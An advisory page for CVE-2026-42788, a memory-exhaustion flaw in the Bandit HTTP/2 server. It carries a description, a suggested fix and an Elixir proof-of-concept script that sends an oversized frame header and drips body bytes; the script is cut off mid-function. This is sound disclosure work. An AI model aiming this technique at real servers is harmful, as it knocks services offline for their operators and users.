Skip to main content
VulnerabilityPublished

CVE-2026-42788: Bandit HTTP/2 Frame Size Limit Bypass via Late Buffer Check Enables Memory Exhaustion

Affects banditSource GCVE Database

0
Authoritative record:CVE-2026-42788· Medium 6.9

Not known to be exploited · CVSS 6.9 Medium : upgrade to 1.11.0 when convenient.

Data as of 27 Oct 2026, 00:07 UTC

CVSS 4.0 base score
6.9Medium
How severe the flaw is on the 0–10 CVSS scale.
Patch
Available – fixed in 1.11.0
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N

Exploitation evidence

  1. Disclosed: evidence found.

    CVE published 1 May 2026

  2. Detectable: no evidence on record.

    No public nuclei template indexed

  3. Weaponised: no evidence on record.

    No public exploit code indexed in Metasploit or Exploit-DB

  4. Exploited in the wild: no evidence on record.

    Not in CISA KEV and no source reports exploitation

  5. Observed by OffSeq Mirage: no evidence on record.

    No attack traffic recorded by OffSeq Mirage sensors

A missing step is not evidence of safety. Sources: cve.org (opens in a new tab), the Metasploit, Exploit-DB and nuclei-templates index as of 26 Oct 2026.

What to do

Upgrade bandit to 1.11.0.

Affected software

ProductAffectedFixed in
HexbanditAffected
  • >=0.3.5 <1.11.0
Fixed in
  • 1.11.0

Check your own hosts for these packages with threat-finder (opens in a new tab), our free open-source scanner.

Description

### Summary Bandit's HTTP/2 parser checks frame size *after* it has already buffered the full body, instead of when it sees the 9-byte header. A peer can announce a 16 MiB frame on a connection that agreed to 16 KiB frames and the server will silently buffer up to 1024× the agreed budget per connection. Across many connections this becomes a memory-pressure DoS. Severity: medium. ### Details In `lib/bandit/http2/frame.ex:23-65`, every clause that could detect an oversized frame requires `payload::binary-size(length)` to match — meaning the body has to be fully in memory before the size guard runs. Until then the parser returns `{:more, msg}` and the connection layer keeps reading. So the cap fires only after the violation is complete. The frame type and stream id don't matter; the parser never gets that far. ### PoC The script is at the end. It: 1. Opens an h2c connection to a Bandit server it starts itself. 2. Sends a 9-byte frame header announcing `length = 0xFFFFFF` (~16 MiB). 3. Polls for `GOAWAY(FRAME_SIZE_ERROR)`. If silent, drips body bytes in 64 KiB chunks. A patched server sends GOAWAY on the header alone. A vulnerable server stays silent and keeps accepting bytes. **Suggested fix** Add a header-only clause that rejects on the length field alone, e.g. `def deserialize(<<length::24, _::binary>> = msg, max_frame_size) when length > max_frame_size, do: {{:error, frame_size_error(), "..."}, drop_frame_or_close(msg)}`, placed before the body-bearing clauses so the size check runs as soon as the 9-byte header is in hand rather than after the body has been buffered. ### Impact Any Bandit server speaking HTTP/2 (h2 or h2c). No authentication or specific route needed — the bug is in the framing layer, before any Plug runs. An attacker holding a few thousand concurrent connections can pin tens of GiB of buffer memory, far beyond what the negotiated `max_frame_size` should allow. No code execution, no data disclosure — pure resource exhaustion. Fix: add a header-only clause that rejects on `length > max_frame_size` as soon as the 9 header bytes arrive, before the body-bearing clauses. ```elixir # Bandit HTTP/2 oversized-frame late-check PoC. # # RFC 9113 §6.5.2 sets the default SETTINGS_MAX_FRAME_SIZE to 16384. # Bandit's frame deserializer (lib/bandit/http2/frame.ex) checks this # limit *after* matching `payload::binary-size(length)` in the frame # pattern. When the announced length exceeds what the buffer holds, # none of the body-bearing clauses match and `deserialize/2` returns # `{:more, msg}`, telling the caller to keep buffering. The oversize # error in the "valid shape, length > max_frame_size" clause therefore # fires only *after* the entire announced body has been received — # letting a peer trickle up to ~16 MiB per frame (the 24-bit length # field maximum) into the server before the cap engages, well past # the 16 KiB the server agreed to. # # This PoC announces a frame with length = 0xFFFFFF (~16 MiB), drips # body bytes in 64 KiB chunks, and after each chunk does a brief # non-blocking recv to see if the server has reacted. A patched server # should send GOAWAY(FRAME_SIZE_ERROR) within the first chunk (header # alone is enough). A vulnerable server keeps silently accepting up # to the full 16 MiB. # # We use a SETTINGS frame (type=0x4, stream_id=0) for the abusive # header — the parser never reaches dispatch (it's stuck buffering # body), so the type and stream id are immaterial to the bug. # # Run: elixir scripts/bandit/http2_frame_size_late_check.exs Mix.install([ {:bandit, "~> 1.10"}, {:plug, "~> 1.19"} ]) defmodule NoopApp do @behaviour Plug def init(opts), do: opts def call(conn, _opts), do: Plug.Conn.send_resp(conn, 200, "ok\n") end defmodule FrameSizeLateCheck do @port 4321 @connection_preface "PRI * HTTP/2.0\r\n\r\nSM\r\n\r\n" @type_settings 0x4 @type_goaway 0x7 @flag_settings_ack 0x1 @max_24_bit 0xFFFFFF @drip_chunk_size 64 * 1024 @max_total_drip 4 * 1024 * 1024 def run do {:ok, _} = Bandit.start_link(plug: NoopApp, ip: {127, 0, 0, 1}, port: @port) {:ok, sock} = :gen_tcp.connect(~c"127.0.0.1", @port, [:binary, active: false, nodelay: true]) advertised_max_frame_size = handshake!(sock) log("Handshake complete. Server advertised max_frame_size=#{advertised_max_frame_size}.") abusive_header = frame_header(@max_24_bit, @type_settings, 0, 0) log( "Sending oversized SETTINGS header: length=#{@max_24_bit} " <> "(#{div(@max_24_bit, 1024 * 1024)} MiB) vs cap #{advertised_max_frame_size}." ) :ok = :gen_tcp.send(sock, abusive_header) case poll_for_reaction(sock, 200) do {:goaway, error_code} -> log("Server sent GOAWAY on header alone: error_code=#{error_code} — patched.") finish(sock) :silent -> log("Server silent after header. Beginning body drip…") drip_loop(sock, 0) end end defp drip_loop(sock, total_sent) when total_sent >= @m

References

Community reviews

Loading reviews…